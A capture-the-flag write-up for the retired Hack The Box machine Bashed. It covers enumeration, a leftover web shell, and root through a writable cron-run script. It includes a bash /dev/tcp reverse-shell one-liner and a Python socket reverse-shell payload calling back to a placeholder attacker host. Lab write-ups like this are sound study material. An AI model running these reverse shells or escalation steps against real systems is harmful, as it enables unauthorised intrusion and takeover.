HTB retired: Bashed — content discovery, then the cron job

htb-retired · Bashed

Bashed joins the two halves this site has references for: you get in through the web application, and you get root through the host. Neither step is a CVE — both are things someone left where they should not have.

Enumerate

nmap -sC -sV -p- 10.10.10.68
gobuster dir -u http://10.10.10.68 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

Port 80 looks empty until content discovery finds what the navigation never links:

/dev                  (Status: 301)
/dev/phpbash.php      (Status: 200)

phpbash.php is an in-browser semi-interactive shell someone left in a dev directory — command execution as the web user, handed to you.

Foothold: trade up to a real shell

Start a listener:

nc -lvnp 4444

Then, in phpbash:

bash -c 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1'
id
# uid=33(www-data)

Escalate: enumerate, don’t reach for the kernel

As www-data, check your free moves before anything else:

sudo -l
# (scriptmanager : scriptmanager) NOPASSWD: ALL

A password-less sudo to another user is a free lateral step:

sudo -u scriptmanager /bin/bash

As scriptmanager, host enumeration turns up a scheduled job you can influence:

ls -la /scripts
# test.py    owned by scriptmanager
# test.txt   owned by root   <- root runs test.py on a cron, every minute

Overwrite the script with a reverse shell and wait for the timer:

cat > /scripts/test.py <<'PY'
import socket,subprocess,os
s=socket.socket(); s.connect(("<LHOST>",5555))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
PY
# on the attacker: nc -lvnp 5555  -> root within a minute

The lesson, generalised

Every step was a misconfiguration, not a vulnerability:

  1. A dev tool left reachable — found by content discovery.
  2. A password-less sudo rule — found by running sudo -l first.
  3. A root cron job pointing at a writable file — found by reading enumeration output.

Step 1 is the web application testing checklist; steps 2 and 3 are the privilege escalation reference.